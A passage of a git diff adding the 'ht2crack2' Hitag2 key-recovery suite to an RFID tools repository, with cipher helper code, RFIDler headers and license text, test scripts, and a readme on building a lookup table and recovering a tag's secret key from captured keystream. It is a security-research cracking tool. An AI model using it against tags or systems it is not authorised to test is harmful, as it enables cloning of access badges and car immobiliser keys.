(bitn(s, 5) << 2) | (bitn(s, 6) << 3); + x2 = (bitn(s, 8) << 0) | (bitn(s, 12) << 1) | (bitn(s, 14) << 2) | (bitn(s, 15) << 3); + x3 = (bitn(s, 17) << 0) | (bitn(s, 21) << 1) | (bitn(s, 23) << 2) | (bitn(s, 26) << 3); + x4 = (bitn(s, 28) << 0) | (bitn(s, 29) << 1) | (bitn(s, 31) << 2) | (bitn(s, 33) << 3); + x5 = (bitn(s, 34) << 0) | (bitn(s, 43) << 1) | (bitn(s, 44) << 2) | (bitn(s, 46) << 3); + + x6 = (fa(x1) << 0) | (fb(x2) << 1) | (fb(x3) << 2) | (fb(x4) << 3) | (fa(x5) << 4); + + return fc(x6); +} + +// builds the lfsr for the prng (quick calcs for hitag2_nstep()) +void buildlfsr(Hitag_State *hstate) +{ + uint64_t state = hstate->shiftreg; + uint64_t temp; + + temp = state ^ (state >> 1); + hstate->lfsr = state ^ (state >> 6) ^ (state >> 16) + ^ (state >> 26) ^ (state >> 30) ^ (state >> 41) + ^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22) + ^ (temp >> 42) ^ (temp >> 46); +} + + + diff --git a/tools/hitag2crack/crack2/ht2crack2utils.h b/tools/hitag2crack/crack2/ht2crack2utils.h new file mode 100644 index 000000000..14eea840c --- /dev/null +++ b/tools/hitag2crack/crack2/ht2crack2utils.h @@ -0,0 +1,34 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "HardwareProfile.h" +#include "rfidler.h" +#include "util.h" + +#include "hitagcrypto.h" + +#define HEX_PER_ROW 16 + + + +void writebuf(unsigned char *buf, uint64_t val, unsigned int len); +void shexdump(unsigned char *data, int data_len); +void printbin(unsigned char *c); +void printbin2(uint64_t val, unsigned int size); +void printstate(Hitag_State *hstate); +unsigned char hex2bin(unsigned char c); +int bitn(uint64_t x, int bit); +int fnR(uint64_t x); +void rollback(Hitag_State *hstate, unsigned int steps); +int fa(unsigned int i); +int fb(unsigned int i); +int fc(unsigned int i); +int fnf(uint64_t s); +void buildlfsr(Hitag_State *hstate); diff --git a/tools/hitag2crack/crack2/readme.md b/tools/hitag2crack/crack2/readme.md new file mode 100644 index 000000000..dd0872260 --- /dev/null +++ b/tools/hitag2crack/crack2/readme.md @@ -0,0 +1,68 @@ +ht2crack2 suite + + + +Build +----- + +Edit ht2crack2buildtable.c and set the DATAMAX, NUM_BUILD_THREADS and NUM_SORT_THREADS values. +These are important if you want it to run quickly. Ideally set DATAMAX to the largest value +that you can get away with and set NUM_BUILD_THREADS and NUM_SORT_THREADS to the number of +virtual cores you have available, which MUST be a power of 2. NUM_BUILD_THREADS MUST be >= +NUM_SORT_THREADS. + +Calculate DATAMAX = free RAM available / 65536, and then round down to a power of 10. + +The Makefile is configured for linux. To compile on Mac, edit it and swap the LIBS= lines. + +make clean +make + + +Run ht2crack2buildtable +----------------------- + +Make sure you are in a directory on a disk with at least 1.5TB of space. +./ht2crack2buildtable + +Wait a very long time. Maybe a few days. + +This will create a directory tree called table/ while it is working that will contain +files that will slowly build up in size to approx 20MB each. Once it has finished making +these unsorted files, it will sort them into the directory tree sorted/ and remove the +original files. It will then exit and you'll have your shiny table. + + +Test with ht2crack2gentests +--------------------------- + +./ht2crack2gentests NUMBER_OF_TESTS + +to generate NUMBER_OF_TESTS test files. These will all be named +keystream.key-KEYVALUE.uid-UIDVALUE.nR-NRVALUE + +Test a single test with +./runtest.sh KEYSTREAMFILE + +or manually with +./ht2crack2search KEYSTREAMFILE UIDVALUE NRVALUE + +or run all tests with +./runalltests.sh + +Feel free to edit the shell scripts to find your tools. You might want to create a +symbolic link to your sorted/ directory called 'sorted' to help ht2crack2seach find the +table. + +If the tests work, then the table is sound. + + +Search for key in real keystream +-------------------------------- + +Recover 2048 bits of keystream from the target RFID tag with the RFIDler. You will have had +to supply an NR value and you should know the tag's UID (you can get this using the RFIDler). + +./ht2crack2search KEYSTREAMFILE UIDVALUE NRVALUE + + diff --git a/tools/hitag2crack/crack2/rfidler.h b/tools/hitag2crack/crack2/rfidler.h new file mode 100644 index 000000000..c8ce90396 --- /dev/null +++ b/tools/hitag2crack/crack2/rfidler.h @@ -0,0 +1,412 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + +#include +#include + +// BCD hardware revision for usb descriptor (usb_descriptors.c) +#define RFIDLER_HW_VERSION 0x020 + +// max sizes in BITS +#define MAXBLOCKSIZE 512 +#define MAXTAGSIZE 4096 +#define MAXUID 512 + +#define TMP_LARGE_BUFF_LEN 2048 +#define TMP_SMALL_BUFF_LEN 256 +#define ANALOGUE_BUFF_LEN 8192 + +#define COMMS_BUFFER_SIZE 128 + +#define DETECT_BUFFER_SIZE 512 + +#define SAMPLEMASK ~(BIT_1 | BIT_0) // mask to remove two bottom bits from analogue sample - we will then use those for reader & bit period + +// globals + +extern BOOL WiegandOutput; // Output wiegand data whenenver UID is read +extern BYTE *EMU_Reset_Data; // Pointer to full array of bits as bytes, stored as 0x00/0x01, '*' terminated +extern BYTE *EMU_Data; // Pointer to current location in EMU_Reset_Data +extern BYTE EMU_ThisBit; // The next data bit to transmit +extern BYTE EMU_SubCarrier_T0; // Number of Frame Clocks for sub-carrier '0' +extern BYTE EMU_SubCarrier_T1; // Number of Frame Clocks for sub-carrier '1' +extern unsigned int EMU_Repeat; // Number of times to transmit full data set +extern BOOL EMU_Background; // Emulate in the background until told to stop +extern unsigned int EMU_DataBitRate; // Number of Frame Clocks per bit +extern BYTE TmpBits[TMP_LARGE_BUFF_LEN]; // Shared scratchpad +extern BYTE ReaderPeriod; // Flag for sample display +extern unsigned char Comms_In_Buffer[COMMS_BUFFER_SIZE]; // USB/Serial buffer +extern BYTE Interface; // user interface - CLI or API +extern BYTE CommsChannel; // user comms channel - USB or UART +extern BOOL FakeRead; // flag for analogue sampler to signal it wants access to buffers during read +extern BOOL PWD_Mode; // is this tag password protected? +extern BYTE Password[9]; // 32 bits as HEX string set with LOGIN +extern unsigned int Led_Count; // LED status counter, also used for entropy +extern unsigned long Reader_Bit_Count; // Reader ISR bit counter +extern char Previous; // Reader ISR previous bit type + +// RWD (read/write device) coil state +extern BYTE RWD_State; // current state of RWD coil +extern unsigned int RWD_Fc; // field clock in uS +extern unsigned int RWD_Gap_Period; // length of command gaps in OC5 ticks +extern unsigned int RWD_Zero_Period; // length of '0' in OC5 ticks +extern unsigned int RWD_One_Period; // length of '1' in OC5 ticks +extern unsigned int RWD_Sleep_Period; // length of initial sleep to reset tag in OC5 ticks +extern unsigned int RWD_Wake_Period; // length required for tag to restart in OC5 ticks +extern unsigned int RWD_Wait_Switch_TX_RX; // length to wait when switching from TX to RX in OC5 ticks +extern unsigned int RWD_Wait_Switch_RX_TX; // length to wait when switching from RX to TX in OC5 ticks +extern unsigned int RWD_Post_Wait; // low level ISR wait period in OC5 ticks +extern unsigned int RWD_OC5_config; // Output Compare Module settings +extern unsigned int RWD_OC5_r; // Output Compare Module primary compare value +extern unsigned int RWD_OC5_rs; // Output Compare Module secondary compare value +extern BYTE RWD_Command_Buff[TMP_SMALL_BUFF_LEN]; // Command buffer, array of bits as bytes, stored as 0x00/0x01, '*' terminated +extern BYTE *RWD_Command_ThisBit; // Current command bit +extern BOOL Reader_ISR_State; // current state of reader ISR + +// NVM variables +// timings etc. that want to survive a reboot should go here +typedef struct { + BYTE Name[7]; // will be set to "RFIDler" so we can test for new device + BYTE AutoRun[128]; // optional command to run at startup + unsigned char TagType; + unsigned int PSK_Quality; + unsigned int Timeout; + unsigned int Wiegand_Pulse; + unsigned int Wiegand_Gap; + BOOL Wiegand_IdleState; + unsigned int FrameClock; + unsigned char Modulation; + unsigned int DataRate; + unsigned int DataRateSub0; + unsigned int DataRateSub1; + unsigned int DataBits; + unsigned int DataBlocks; + unsigned int BlockSize; + unsigned char SyncBits; + BYTE Sync[4]; + BOOL BiPhase; + BOOL Invert; + BOOL Manchester; + BOOL HalfDuplex; + unsigned int Repeat; + unsigned int PotLow; + unsigned int PotHigh; + unsigned int RWD_Gap_Period; + unsigned int RWD_Zero_Period; + unsigned int RWD_One_Period; + unsigned int RWD_Sleep_Period; + unsigned int RWD_Wake_Period; + unsigned int RWD_Wait_Switch_TX_RX; + unsigned int RWD_Wait_Switch_RX_TX; +} StoredConfig; + +// somewhere to store TAG data. this will be interpreted according to the TAG +// type. +typedef struct { + BYTE TagType; // raw tag type + BYTE EmulatedTagType; // tag type this tag is configured to emulate + BYTE UID[MAXUID + 1]; // Null-terminated HEX string + BYTE Data[MAXTAGSIZE]; // raw data + unsigned char DataBlocks; // number of blocks in Data field + unsigned int BlockSize; // blocksize in bits +} VirtualTag; + +extern StoredConfig RFIDlerConfig; +extern VirtualTag RFIDlerVTag; +extern BYTE TmpBuff[NVM_PAGE_SIZE]; +extern BYTE DataBuff[ANALOGUE_BUFF_LEN]; +extern unsigned int DataBuffCount; +extern const BYTE *ModulationSchemes[]; +extern const BYTE *OnOff[]; +extern const BYTE *HighLow[]; +extern const BYTE *TagTypes[]; + +// globals for ISRs +extern BYTE EmulationMode; +extern unsigned long HW_Bits; +extern BYTE HW_Skip_Bits; +extern unsigned int PSK_Min_Pulse; +extern BOOL PSK_Read_Error; +extern BOOL Manchester_Error; +extern BOOL SnifferMode; +extern unsigned int Clock_Tick_Counter; +extern BOOL Clock_Tick_Counter_Reset; + +// smart card lib +#define MAX_ATR_LEN (BYTE)33 +extern BYTE scCardATR[MAX_ATR_LEN]; +extern BYTE scATRLength; + +// RTC +extern rtccTime RTC_time; // time structure +extern rtccDate RTC_date; // date structure + +// digital pots +#define POTLOW_DEFAULT 100 +#define POTHIGH_DEFAULT 150 +#define DC_OFFSET 60 // analogue circuit DC offset (as close as we can get without using 2 LSB) +#define VOLTS_TO_POT 0.019607843F + +// RWD/clock states +#define RWD_STATE_INACTIVE 0 // RWD not in use +#define RWD_STATE_GO_TO_SLEEP 1 // RWD coil shutdown request +#define RWD_STATE_SLEEPING 2 // RWD coil shutdown for sleep period +#define RWD_STATE_WAKING 3 // RWD active for pre-determined period after reset +#define RWD_STATE_START_SEND 4 // RWD starting send of data +#define RWD_STATE_SENDING_GAP 5 // RWD sending a gap +#define RWD_STATE_SENDING_BIT 6 // RWD sending a data bit +#define RWD_STATE_POST_WAIT 7 // RWD finished sending data, now in forced wait period +#define RWD_STATE_ACTIVE 8 // RWD finished, now just clocking a carrier + +// reader ISR states +#define READER_STOPPED 0 // reader not in use +#define READER_IDLING 1 // reader ISR running to preserve timing, but not reading +#define READER_RUNNING 2 // reader reading bits + + +// user interface types +#define INTERFACE_API 0 +#define INTERFACE_CLI 1 + +// comms channel +#define COMMS_NONE 0 +#define COMMS_USB 1 +#define COMMS_UART 2 + +#define MAX_HISTORY 2 // disable most of history for now - memory issue + +// tag write retries +#define TAG_WRITE_RETRY 5 + +// modulation modes - uppdate ModulationSchemes[] in tags.c if you change this +#define MOD_MODE_NONE 0 +#define MOD_MODE_ASK_OOK 1 +#define MOD_MODE_FSK1 2 +#define MOD_MODE_FSK2 3 +#define MOD_MODE_PSK1 4 +#define MOD_MODE_PSK2 5 +#define MOD_MODE_PSK3 6 + +// TAG types - update TagTypes[] in tags.c if you add to this list +#define TAG_TYPE_NONE 0 +#define TAG_TYPE_ASK_RAW 1 +#define TAG_TYPE_FSK1_RAW 2 +#define TAG_TYPE_FSK2_RAW 3 +#define TAG_TYPE_PSK1_RAW 4 +#define TAG_TYPE_PSK2_RAW 5 +#define TAG_TYPE_PSK3_RAW 6 +#define TAG_TYPE_HITAG1 7 +#define TAG_TYPE_HITAG2 8 +#define TAG_TYPE_EM4X02 9 +#define TAG_TYPE_Q5 10 +#define TAG_TYPE_HID_26 11 +#define TAG_TYPE_INDALA_64 12 +#define TAG_TYPE_INDALA_224 13 +#define TAG_TYPE_UNIQUE 14 +#define TAG_TYPE_FDXB 15 +#define TAG_TYPE_T55X7 16 // same as Q5 but different timings and no modulation-defeat +#define TAG_TYPE_AWID_26 17 +#define TAG_TYPE_EM4X05 18 +#define TAG_TYPE_TAMAGOTCHI 19 +#define TAG_TYPE_HDX 20 // same underlying data as FDX-B, but different modulation & telegram + +// various + +#define BINARY 0 +#define HEX 1 + +#define NO_ADDRESS -1 + +#define ACK TRUE +#define NO_ACK FALSE + +#define BLOCK TRUE +#define NO_BLOCK FALSE + +#define DATA TRUE +#define NO_DATA FALSE + +#define DEBUG_PIN_ON HIGH +#define DEBUG_PIN_OFF LOW + +#define FAST FALSE +#define SLOW TRUE + +#define NO_TRIGGER 0 + +#define LOCK TRUE +#define NO_LOCK FALSE + +#define NFC_MODE TRUE +#define NO_NFC_MODE FALSE + +#define ONESHOT_READ TRUE +#define NO_ONESHOT_READ FALSE + +#define RESET TRUE +#define NO_RESET FALSE + +#define SHUTDOWN_CLOCK TRUE +#define NO_SHUTDOWN_CLOCK FALSE + +#define SYNC TRUE +#define NO_SYNC FALSE + +#define VERIFY TRUE +#define NO_VERIFY FALSE + +#define VOLATILE FALSE +#define NON_VOLATILE TRUE + +#define NEWLINE TRUE +#define NO_NEWLINE FALSE + +#define WAIT TRUE +#define NO_WAIT FALSE + +#define WIPER_HIGH 0 +#define WIPER_LOW 1 + +// conversion for time to ticks +#define US_TO_TICKS 1000000L +#define US_OVER_10_TO_TICKS 10000000L +#define US_OVER_100_TO_TICKS 100000000L +// we can't get down to this level on pic, but we want to standardise on timings, so for now we fudge it +#define CONVERT_TO_TICKS(x) ((x / 10) * (GetSystemClock() / US_OVER_10_TO_TICKS)) +#define CONVERT_TICKS_TO_US(x) (x / (GetSystemClock() / US_TO_TICKS)) +#define TIMER5_PRESCALER 16 +#define MAX_TIMER5_TICKS (65535 * TIMER5_PRESCALER) + +// other conversions + +// bits to hex digits +#define HEXDIGITS(x) (x / 4) +#define HEXTOBITS(x) (x * 4) diff --git a/tools/hitag2crack/crack2/runalltests.sh b/tools/hitag2crack/crack2/runalltests.sh new file mode 100755 index 000000000..945873cfb --- /dev/null +++ b/tools/hitag2crack/crack2/runalltests.sh @@ -0,0 +1,3 @@ +for i in keystream*; do +./runtest.sh $i +done diff --git a/tools/hitag2crack/crack2/runtest.sh b/tools/hitag2crack/crack2/runtest.sh new file mode 100755 index 000000000..bcc08727c --- /dev/null +++ b/tools/hitag2crack/crack2/runtest.sh @@ -0,0 +1,25 @@ +#!/bin/bash + +if [ "$1" == "" ]; then +echo "runtest.sh testfile" +echo "testfile name should be of the form:" +echo "keystream.key-KEY.uid-UID.nR-NR" +exit 1 +fi + +filename=$1 + +UIDV=`echo $1 | cut -d'-' -f3 | cut -d'.' -f1` +NR=`echo $1 | cut -d'-' -f4` +KEYV=`echo $1 | cut -d'-' -f2 | cut -d'.' -f1` + +echo "********************" +echo "FILENAME = $filename" +echo "UID = $UIDV" +echo "NR = $NR" +echo "Expected KEY = $KEYV" + +./ht2crack2search $filename $UIDV $NR +echo "Expected KEY = $KEYV" +echo "********************" +echo "" diff --git a/tools/hitag2crack/crack2/util.h b/tools/hitag2crack/crack2/util.h new file mode 100644 index 000000000..c0d4c156a --- /dev/null +++ b/tools/hitag2crack/crack2/util.h @@ -0,0 +1,206 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + +#define CRC16_MASK_CCITT 0x1021 // CRC-CCITT mask (ISO 3309, used in X25, HDLC) +#define CRC16_MASK_ISO_11785 0x8408 // ISO 11785 animal tags +#define CRC16_MASK_CRC16 0xA001 // standard CRC16 mask (used in ARC files) + +/* + * Hitag Crypto support macros + * These macros reverse the bit order in a byte, or *within* each byte of a + * 16 , 32 or 64 bit unsigned integer. (Not across the whole 16 etc bits.) + */ +#define rev8(X) ((((X) >> 7) &1) + (((X) >> 5) &2) + (((X) >> 3) &4) \ + + (((X) >> 1) &8) + (((X) << 1) &16) + (((X) << 3) &32) \ + + (((X) << 5) &64) + (((X) << 7) &128) ) +#define rev16(X) (rev8 (X) + (rev8 (X >> 8) << 8)) +#define rev32(X) (rev16(X) + (rev16(X >> 16) << 16)) +#define rev64(X) (rev32(X) + (rev32(X >> 32) << 32)) + + +BYTE approx(unsigned long number, unsigned long target, unsigned char percentage); +unsigned int bcdtouint(BYTE *bcd, BYTE length); +unsigned long long bcdtoulonglong(BYTE *bcd, BYTE length); +void inttobinarray(BYTE *target, unsigned int source, unsigned int bits); +void ulongtobinarray(BYTE *target, unsigned long source, unsigned int bits); +void ulonglongtobinarray(BYTE *target, unsigned long long source, unsigned int bits); +void inttobinstring(BYTE *target, unsigned int source, unsigned int bits); +void ulongtobinstring(BYTE *target, unsigned long source, unsigned int bits); +BOOL ulongtohex(BYTE *target, unsigned long source); +unsigned int binarraytoint(BYTE *bin, BYTE length); +unsigned long long binarraytolonglong(BYTE *bin, BYTE length); +unsigned long binarraytoulong(BYTE *bin, BYTE length); +BYTE hextobyte(BYTE *hex); +void printhexreadable(BYTE *hex, BYTE maxlength); +unsigned long hextoulong(BYTE *hex); +unsigned long hexreversetoulong(BYTE *hex); +unsigned long long hextoulonglong(BYTE *hex); +unsigned long long hexreversetoulonglong(BYTE *hex); +char hextolonglong(unsigned long long *out, unsigned char *hex); +unsigned int hextobinarray(unsigned char *target, unsigned char *source); +unsigned int hextobinstring(unsigned char *target, unsigned char *source); +unsigned int binarraytohex(unsigned char *target, unsigned char *source, unsigned int length); +void hexprintbinarray(BYTE *bin, unsigned int length); +unsigned int binstringtohex(unsigned char *target, unsigned char *source); +unsigned int binstringtobinarray(BYTE *target, BYTE *source); +void binstringtobyte(BYTE *target, unsigned char *source, BYTE length); +void binarraytobinstring(BYTE *target, BYTE *source, unsigned int length); +void printhexasbin(unsigned char *hex); +void printbinashex(unsigned char *bin); +void invertbinarray(BYTE *target, BYTE *source, unsigned int length); +void invertbinstring(BYTE *target, BYTE *source); +void printbinarray(unsigned char *bin, unsigned int length); +unsigned char getbit(unsigned char byte, unsigned char bit); +void bytestohex(unsigned char *target, unsigned char *source, unsigned int length); +unsigned int manchester_encode(unsigned char *target, unsigned char *source, unsigned int length); +unsigned int manchester_decode(unsigned char *target, unsigned char *source, unsigned int length); +char * strip_newline(char *buff); +BOOL command_ack(BOOL data); +BOOL command_nack(BYTE *reason); +BOOL command_unknown(void); +void ToUpper(char *string); +void string_reverse(unsigned char *string, unsigned int length); +BOOL string_byteswap(unsigned char *string, unsigned int length); +BYTE parity(unsigned char *string, BYTE type, unsigned int length); +unsigned long get_reader_pulse(unsigned int timeout_us); +unsigned long get_reader_gap(unsigned int timeout_us); +unsigned int crc_ccitt(BYTE *data, unsigned int length); +unsigned int crc16(unsigned int crc, BYTE *data, unsigned int length, unsigned int mask); +void space_indent(BYTE count); +void xml_version(void); +void xml_header(BYTE *item, BYTE *indent); +void xml_footer(BYTE *item, BYTE *indent, BOOL newline); +void xml_indented_text(BYTE *data, BYTE indent); +void xml_item_text(BYTE *item, BYTE *data, BYTE *indent); +void xml_item_decimal(BYTE *item, BYTE num, BYTE *indent); +void xml_indented_array(BYTE *data, BYTE mask, unsigned int length, BYTE indent); +void xml_item_array(BYTE *item, BYTE *data, BYTE mask, unsigned int length, BYTE *indent); + diff --git a/tools/hitag2crack/crack2/utilpart.c b/tools/hitag2crack/crack2/utilpart.c new file mode 100644 index 000000000..210853ec1 --- /dev/null +++ b/tools/hitag2crack/crack2/utilpart.c @@ -0,0 +1,183 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content 